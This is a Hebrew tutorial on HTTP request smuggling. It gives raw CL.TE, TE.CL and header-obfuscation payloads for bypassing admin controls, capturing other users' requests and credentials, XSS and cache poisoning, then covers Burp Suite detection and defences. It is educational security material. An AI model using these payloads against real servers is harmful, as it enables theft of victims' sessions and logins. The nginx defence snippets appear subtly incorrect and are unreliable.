לדלג לתוכן

הברחת בקשות - HTTP Request Smuggling

מבוא

הברחת בקשות HTTP היא טכניקת תקיפה שמנצלת חוסר התאמה באופן שבו שרת חזיתי (front-end) ושרת אחורי (back-end) מפרשים את גבולות הבקשה. כאשר שני שרתים בשרשרת לא מסכימים היכן בקשה אחת מסתיימת והבאה מתחילה, תוקף יכול "להבריח" בקשה זדונית שתעובד כאילו היא הגיעה ממשתמש אחר.

תקיפה זו קריטית במיוחד בסביבות מודרניות שבהן reverse proxy, CDN או load balancer יושבים לפני שרת האפליקציה.


ארכיטקטורה - למה הבעיה קיימת

בסביבה מודרנית, בקשות HTTP עוברות דרך מספר שכבות:

[User] --> [Front-End / CDN / Reverse Proxy] --> [Back-End / Application Server]

השרת החזיתי והאחורי שומרים על חיבור TCP פתוח ביניהם (keep-alive) ומעבירים דרכו בקשות מרובות בזו אחר זו. הבעיה נוצרת כשהם לא מסכימים היכן בקשה אחת מסתיימת.

שני הheaders שמגדירות את אורך הגוף של בקשת HTTP:

Content-Length: 13
Transfer-Encoding: chunked

כאשר שתי הheaders מופיעות באותה בקשה, והשרתים מתעדפים header שונה - נוצרת ההברחה.


הEncoding Chunked - איך זה עובד

בencoding chunked, הגוף מחולק לחלקים. כל חלק מתחיל בגודלו בהקסדצימלי, ואחריו \r\n, הנתונים, ושוב \r\n. הסיום מסומן בחלק בגודל 0:

POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked

b\r\n
hello world\r\n
0\r\n
\r\n

פירוט: b הוא 11 בהקסדצימלי (אורך "hello world"), ואחרי 0\r\n\r\n הבקשה מסתיימת.


תקיפת CL.TE

בתרחיש CL.TE, השרת החזיתי משתמש ב-Content-Length והשרת האחורי משתמש ב-Transfer-Encoding.

הדגמה בסיסית

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0\r\n
\r\n
SMUGGLED

מה קורה כאן:

  1. השרת החזיתי קורא את Content-Length: 13, לוקח 13 בתים מהגוף (0\r\n\r\nSMUGGLED) ומעביר הכל לשרת האחורי
  2. השרת האחורי קורא את Transfer-Encoding: chunked, רואה חלק בגודל 0 (סיום), ומפרש את SMUGGLED כתחילת הבקשה הבאה

דוגמה מלאה - הברחת בקשת GET

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked

0\r\n
\r\n
GET /admin HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
\r\n

השרת החזיתי רואה בקשת POST אחת. השרת האחורי רואה את סיום ה-POST (חלק בגודל 0) ואז בקשת GET חדשה ל-/admin.

זיהוי CL.TE באמצעות תזמון

שולחים את הבקשה הבאה ובודקים אם יש עיכוב בתגובה:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Transfer-Encoding: chunked

1\r\n
A\r\n
X

אם השרת האחורי משתמש ב-Transfer-Encoding, הוא יחכה לחלק בגודל 0 שלא מגיע - ויווצר timeout. זה מאשר שהאחורי מעבד chunked.


תקיפת TE.CL

בתרחיש TE.CL, השרת החזיתי משתמש ב-Transfer-Encoding והשרת האחורי משתמש ב-Content-Length.

דוגמה מלאה

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

5c\r\n
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n

מה קורה כאן:

  1. השרת החזיתי קורא את Transfer-Encoding: chunked, מעבד את החלק בגודל 5c (92 בתים) ואת החלק בגודל 0, ומעביר הכל
  2. השרת האחורי קורא את Content-Length: 4, לוקח רק 4 בתים (5c\r\n), ומפרש את השאר כבקשה חדשה שמתחילה ב-GPOST

זיהוי TE.CL באמצעות תזמון

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 6
Transfer-Encoding: chunked

0\r\n
\r\n
X

השרת החזיתי מעבד את ה-chunked (רואה חלק בגודל 0 - סיום) ומעביר. השרת האחורי קורא Content-Length: 6, מקבל 0\r\n\r\nX (5 בתים) ומחכה לבית נוסף - timeout.


תקיפת TE.TE - ערפול Transfer-Encoding

כששני השרתים תומכים ב-Transfer-Encoding, אפשר לערפל את הheader כך שאחד מהם לא יזהה אותה ויחזור ל-Content-Length.

טכניקות ערפול

Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

כל אחת מהוריאציות האלה עלולה לגרום לאחד השרתים לא לזהות את הheader כ-Transfer-Encoding תקין, ובכך ליפול לשימוש ב-Content-Length. הבדיקה היא שיטתית - מנסים כל ערפול ובודקים את ההתנהגות.


הExploit - bypass בקרות גישה

תרחיש נפוץ: השרת החזיתי חוסם גישה ל-/admin, אבל השרת האחורי לא. נשתמש בהברחה כדי לגשת ישירות:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Transfer-Encoding: chunked

0\r\n
\r\n
GET /admin HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 10\r\n
\r\n
x=1

השרת החזיתי מעביר את הבקשה ל-/ (מותר). השרת האחורי מפרש את הבקשה המוברחת כבקשה נפרדת ל-/admin - ומגיש את התוכן.


הExploit - לכידת בקשות של משתמשים אחרים

ניתן להשתמש בהברחה כדי ללכוד בקשות של משתמשים אחרים, כולל הheaders והעוגיות שלהם:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 256
Transfer-Encoding: chunked

0\r\n
\r\n
POST /post/comment HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 800\r\n
Cookie: session=attacker-session\r\n
\r\n
comment=

הבקשה המוברחת היא POST שכותב תגובה. ה-Content-Length שלה (800) גדול מהגוף שסופק, ולכן השרת ימשיך לקרוא מהחיבור - והנתונים הבאים הם הבקשה של המשתמש הבא. הבקשה של הקורבן תצורף לפרמטר comment, והתוקף יוכל לקרוא אותה.


הExploit - XSS דרך הברחת בקשות

אם יש נקודת XSS מוחזר באפליקציה, הברחת בקשות מאפשרת לנצל אותה ללא אינטראקציה של הקורבן:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 150
Transfer-Encoding: chunked

0\r\n
\r\n
GET /post?postId=5 HTTP/1.1\r\n
User-Agent: "><script>alert(document.cookie)</script>\r\n
Host: vulnerable-website.com\r\n
\r\n

אם ה-User-Agent מוחזר בתגובה ללא סינון, הבקשה הבאה שתגיע מכל משתמש תקבל תגובה עם XSS.


הExploit - הפניה פתוחה דרך הברחת בקשות

אם האפליקציה מבצעת redirect מבוסס-Host, אפשר להשתמש בהברחה:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 116
Transfer-Encoding: chunked

0\r\n
\r\n
GET /home HTTP/1.1\r\n
Host: attacker-website.com\r\n
\r\n

אם /home מבצע redirect ל-https://Host/home/, הקורבן יופנה ל-https://attacker-website.com/home/.


הExploit - cache poisoning דרך הברחת בקשות

שילוב של הברחת בקשות עם cache יכול להיות הרסני. התוקף מבריח בקשה שגורמת לשרת להחזיר תוכן זדוני, והתגובה נשמרת בcache:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 129
Transfer-Encoding: chunked

0\r\n
\r\n
GET /static/main.js HTTP/1.1\r\n
Host: attacker-website.com\r\n
\r\n

אם התגובה לבקשה המוברחת (שמכילה JavaScript זדוני מהשרת של התוקף) נשמרת בcache עבור /static/main.js, כל מבקר באתר יטען את הסקריפט הזדוני.


הExploit - לכידת אישורי התחברות

אם יש פונקציונליות התחברות, ניתן להבריח בקשה שתלכוד את האישורים של המשתמש הבא:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 267
Transfer-Encoding: chunked

0\r\n
\r\n
POST /login HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 500\r\n
\r\n
username=attacker&password=x&next=

הבקשה של הקורבן הבא תצורף לשדה next, והתוקף יוכל לראות אותה דרך ההפניה.


כלים - שימוש ב-Burp Suite

הגדרות בסיסיות

ב-Burp Suite, יש לוודא שההגדרות הבאות פעילות:

1. Settings -> Network -> HTTP -> Allow HTTP/1 keep-alive
2. Settings -> Network -> HTTP -> Set Update Content-Length = OFF
3. When sending requests in Repeater, use \r\n (click the \n button in the corner)

שימוש בהרחבת HTTP Request Smuggler

1. Install HTTP Request Smuggler from the BApp Store
2. Right-click a request -> Extensions -> HTTP Request Smuggler -> Smuggle Probe
3. The extension automatically tests CL.TE, TE.CL and TE.TE
4. Check the log in the Dashboard for findings

בדיקה ידנית ב-Repeater

1. Send a normal request and record the response
2. Send a CL.TE request and check if the next request is affected
3. Send the same normal request again and check if the response changed
4. If the response changed - there is smuggling

סיכום טכניקות זיהוי

סוג זיהוי באמצעות תזמון זיהוי באמצעות תגובה דיפרנציאלית
CL.TE שליחת chunked לא שלם עם CL קצר הברחת בקשה שגורמת לשגיאה בבקשה הבאה
TE.CL שליחת chunked שלם עם CL ארוך הברחת prefix שמשנה את הבקשה הבאה
TE.TE ניסוי ערפולים שונים של TE בדיקת התנהגות עם כל ערפול

הגנה

1. נרמול עיבוד בקשות

- Make sure the front-end and back-end servers use the same method to determine body length
- Reject requests that have both Content-Length and Transfer-Encoding

2. שימוש ב-HTTP/2 מקצה לקצה

- The HTTP/2 protocol uses a binary framing mechanism that prevents ambiguity
- Make sure there is no downgrade to HTTP/1.1 between the servers

3. דחיית בקשות עמומות

# Example in nginx
if ($http_transfer_encoding ~* "chunked" ) {
    if ($content_length != "") {
        return 400;
    }
}

4. הגדרות שרת

# nginx - disable keep-alive for the connection to the back-end server
proxy_http_version 1.0;
# or use HTTP/2
proxy_http_version 1.1;
proxy_set_header Connection "";

5. בדיקה תקופתית

- Scan the infrastructure regularly with the Burp Suite HTTP Request Smuggler tool
- Check every change in the infrastructure (new reverse proxy, new CDN)
- Update servers to versions that handle ambiguous requests better

סיכום

הברחת בקשות HTTP היא אחת התקיפות הקשות ביותר לזיהוי ולהגנה. היא מנצלת את העובדה שבמערכות מודרניות יש שרשרת של שרתים שמעבדים את אותה בקשה, ולא תמיד הם מסכימים על הפרשנות. נקודות מפתח:

  • ההבדל בין CL.TE, TE.CL ו-TE.TE נקבע לפי איזו header כל שרת מתעדף
  • זיהוי מתבצע באמצעות תזמון או תגובות דיפרנציאליות
  • הexploit יכול להוביל לbypass בקרות, לכידת אישורים, cache poisoning ו-XSS
  • ההגנה הטובה ביותר היא שימוש ב-HTTP/2 מקצה לקצה ודחיית בקשות עמומות